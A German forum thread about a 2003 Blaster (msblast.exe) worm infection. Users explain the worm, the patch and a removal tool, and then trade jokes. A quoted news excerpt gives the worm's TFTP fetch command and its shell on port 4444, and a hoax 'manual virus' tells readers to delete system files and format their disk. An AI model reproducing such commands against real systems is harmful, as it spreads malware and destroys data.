Trojaner Angriff

Vo ein paar Tagen hat sich -natürlich unwissentlich- ein äusserst fieser Trojaner bei mir eingeschlichen mit dem Namen msblast.exe. Dieser hatte sich im System32 eingenistet. Eben konnten ich und ghosti ihn wegätzend (stirb du SAU ) und er ist gottseidank auch weg.

Jetzt will ich aber wissen, wer das war Kann man das rausfinden?

Ich hab die Sygate Personal Firewall in dem man die Logs nachvollziehen kann. Dort habe ich auch msblat.exe gefunden. In den Navielementen gibt es folgende Punkte:

- time
- Action
- Protocol
- Direction
- Destination Host (IP-Adresse vom Angreifer??)
- Destination Port/ICMP Type
- Source IP (meine IP??)
- Source Port/ICMP Type
- Application Name (C:..msblast.exe)
- Count
- Begin Time/End Time
- Rule name

Kann mir daraus jemand den Typen ausfindig machen? Die exakten Daten kann ich demjenigen per mail zuschicken, der es rausfinden möchte. Ich will den Typen haben Der kriegt was zu hören Erlaubt sich einfach auf meinem Rechner einzuspanne Nicht mit mir http://www.smily.at/smily/smily187.gif

Bitte hilft mir Der, der mir die Mailaddy rausfindet, kriegt beim nächsten Treffen auch nen Cocktail spendiert

Danke

:-e

ps: ich köpfe den typen http://www.smily.at/smily/smily168.gif

Du hast wohl kaum ne Chance da:

1. IPs grösstenteils dynamisch vergeben werden, d.h.
1.1 Der Typ nur noch durch Logs auf Servern ausfindig gemacht werden kann, welche
1.2 wahrscheinlich im Ausland stehen und
1.3 die Admins dort wegen einem doch recht kleinem ; ) Vorfall nicht aktiv werden.

2. Hat der Typ wahrscheinlich nicht mal den Trojaner bei dir eingeschleust sondern du selber durchs Filesharingl.

Naja, gibt schlimmeres... Änder mal vorsichtshalber alle Passwörter..

Filesharing? Geht das auch, wenn ich kein Fileshareprogramm am Laufen hab?

:-e

Geht das auch, wenn ich kein Fileshareprogramm am Laufen hab?

Durch Windowsupdate? Zumindest wäre es nicht verwunderlich. Wobei eigentlich ich es in Frage stellen musste, ob man da von einem Trojaner sprechen dürfte.

http://www.heise.de/newsticker/data/dab-12.08.03-000/

Ist gar kein Trojaner...

*gg* Frosch - den gleichen Artikel habe ich ihr auch gerade per "Artikel Versenden" weitergeleitet *gg*

Wow - ich habe noch nie jemanden in meinem Bekanntenkreis gehabt, der einen Virus sich so schnell eingefangen hat.

Schatzi - auf welchen Seiten treibst Du Dich herum *motz*

Zum Glück ist dort beschrieben, wie man ihn wieder loswird

:-ghost

Der seit Tagen erwartete Wurm, der einen Fehler im RPC/DCOM-Dienst unter Windows 2000 und XP ausnutzt, ist im Internet unterwegs.

Ich will den Typen haben Der kriegt was zu hören Erlaubt sich einfach auf meinem Rechner einzuspanne Nicht mit mir http://www.smily.at/smily/smily187.gif

Sieht wohl so aus als müßtest Du Steve Ballmer oder Bill Gates oder Microsoft verklagen.

Man stelle sich Engelchen vor motzend am Empfang in Redmond ... Krieg ich nun eigentlich den Cocktail?

Auf befallenenen Systemen (A) startet der Wurm einen TFTP-Server und greift weitere Windows-Systeme (B) auf den Ports UDP-Ports 135, 137 und 138, sowie den TCP-Ports 135, 445 und 593 an. War ein Angriff erfolgreich, wird der eingeschleuste Code ausgeführt, der auf System B eine Shell auf Port 4444 öffnet. System A veranlasst System B mittels TFTP (tftp <host a> get msblast.exe) die Datei msblast.exe in das Verzeichnis %25WinDir%25System32 nachzuladen und zu starten. Anschließend installiert sich der Wurm auf System B, schließt Port 4444, startet einen TFTP-Server und greift weitere Systeme an.

http://www.heise.de/newsticker/data/dab-12.08.03-000/

Dieses Beispiel ist wieder mal der Beweis, dass auch (oder gerade) Privatpersonen auf ein professionelles Security-Management nicht verzichten können. Fast alle privaten und semiprofesionellen PC hängen direkt am Internet und sind somit angreifbar (ob Desktop-Firewall schützen werden wir auch erst in ein paar Tagen wissen) Das einzig wirksame ist aus meiner Sicht ein Router der keinerlei Anfriffsfläche bietet.

Schlimm ist nur, das bestimmt viele geklaute Win2k Server mit offen laufendendem IIS ungepatcht dank DSL genug Angriffsmöglichkeiten bieten um dann wieder Quelle für weitere Angriffe zu werden.

P.S. vor Würmern und anderen Angriffen kann ich mich schützen, aber wer schützt mich vor dummen Usern oder unfähigen Admins.

Symantec bietet bereits eine Lösung namens FIXBLAST.EXE an.

Zu finden ist die Datei hier:

http://securityresponse.symantec.com/avcenter/FixBlast.exe

na wie gut, dass ich es das automatische update gibt, das hat mir den bug längst gepatcht. ;)

na wie gut, dass ich es das automatische update gibt, das hat mir den bug längst gepatcht. ;)

viel spaß beast:

Im Verzeichnis:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
es werden folgende Registry Einträge erzeugt:
"windows auto update" = msblast.exe
oder
"windows auto update" = msblast.exe I just want to say LOVE YOU SAN!! bill

Diese Schwachstelle befindet sich in nicht-gepatchten Windows NT/2000/XP-Systemen.

lesen bildet

ich hab schon gehört das schon einige Anfangen ihre Soundkarten auszubauen

... btw. http://www.fli4l.de und http://www.eisfair.org

Dieses Beispiel ist wieder mal der Beweis, dass auch (oder gerade) Privatpersonen auf ein professionelles Security-Management nicht verzichten können

Schatzi, ich dachte du hast meinen rechner gut installier man

jajaaa,ich weiß,windoof update.. bin ja selber schuld Aber nur ein bißchen gg

:-e

einen alten 486er mit nem disketten-software-router davor und gut iss. läuft bei mir seit 3 jahren erst modem dann isdn, dann dsl via ethernet ab september dsl via pppoe.

selbst netmeeting und emule laufen durch ne gekonnte installation, kein spam, ne menge viren ud würmer im (Quarantäne-) Zoo.

Man muß sich eben nur mal ein WE Zeit nehmen und/oder wirklich mal %27n hunderter in ne Beratung investieren.

Microsoft und die Putzfrau

Ein Arbeitsloser bewirbt sich als Reinigungskraft bei Microsoft.

Der Personalleiter lässt ihn einen Test machen (den Boden reinigen).

Darauf folgt ein Interview und schließlich teilt er ihm mit "Sie sind eingestellt, geben Sie mir Ihre E-Mail dann schicke ich Ihnen die nötigen Unterlagen".

Der Mann antwortet ihm, dass er weder einen Computer besitzt noch entsprechend eine E-Mail hat.
Der Personalmensch antwortet ihm, dass er ohne E-Mail-Adresse virtuell nicht existiert und daher nicht angestellt werden kann.

Der Mann verlasst verzweifelt das Gebäude mit nur 10$ in der
Tasche.

Er beschließt, in den nächsten Supermarkt zu gehen und 10 Kilo Tomaten zu kaufen. Er verkauft die Tomaten von Tür zu Tür und innerhalb von 2 Stunden verdoppelt er sein Kapital. Er wiederholt die Aktion 3 mal und hat am Ende 160$. Er realisiert, dass er auf diese Art und Weise seine Existenz bestreiten kann, also startet er jeden Morgen und kehrt abends spät zurück. Jeden Tag verdoppelt oder verdreifacht er sein Kapital.


In kurzer Zeit kauft er sich einen kleinen Wagen, dann einen Lastwagen und bald verfugt er über einen kleinen Fuhrpark für seine Lieferungen.


Innerhalb von 5 Jahren besitzt er eine der größten Lebensmittelketten der USA. Er beschließt an seine Zukunft zu denken und möchte einen Finanzplan für sich und seine Familie erstellen lassen. Er setzt sich mit einem Berater in Verbindung und sie erarbeiten einen Vorsorgeplan.


Am Ende des Gesprächs fragt der Berater ihn nach seiner E-Mail
Adresse, um ihm die entsprechenden Unterlagen schicken zu können.


Der Typ antwortet ihm, dass er nach wie vor keinen Computer und
somit auch kein E-Mail besitzt. Der Versicherungsvertreter schmunzelt und bemerkt: "Kurios - Sie haben ein Imperium aufgebaut und besitzen nicht mal eine E-Mail.
Stellen Sie sich mal vor, was Sie mit einem Computer alles
erreicht hatten!"


Der Mann überlegt und sagt: "Ich wäre Putzmann bei Microsoft"

Lehre Nr. 1: Das Internet rettet nicht Dein Leben.

Lehre Nr. 2: Wenn Du bei Microsoft arbeiten willst, brauchst Du
eine E-Mail.

Lehre Nr. 3: Auch ohne E-Mail kannst Du mit Arbeit Milliardär
werden

Lehre Nr. 4: Wenn Du diese Geschichte per E-Mail erhalten hast,
sind die Chancen Putzfrau/-mann zu werden größer als die, Milliardär zu werden.


Na dann, frohes Schaffen!


P.S.: Bin auf dem Markt, Tomaten kaufen und ab jetzt per E-Mail
nicht mehr zu erreichen....

Hallo,

dies ist ein manueller e-Mail Virus. Sein Entwickler hat leider keine
Ahnung und keine Zeit, einen Echten zu programmieren:

Waehlen Sie einfach die ersten 50 Adressen aus Ihrem Adressbuch und senden
Sie diesen Virus weiter. Dann loeschen Sie einige Dateien aus Ihrem
Systemverzeichnis. Falls heute Freitag der 13. ist, formatieren Sie bitte
Ihre Festplatte.

Danke fuer Ihre Mitarbeit.


den ersten witz habe ich rein zufällig bei der suche nach diesem gefunden.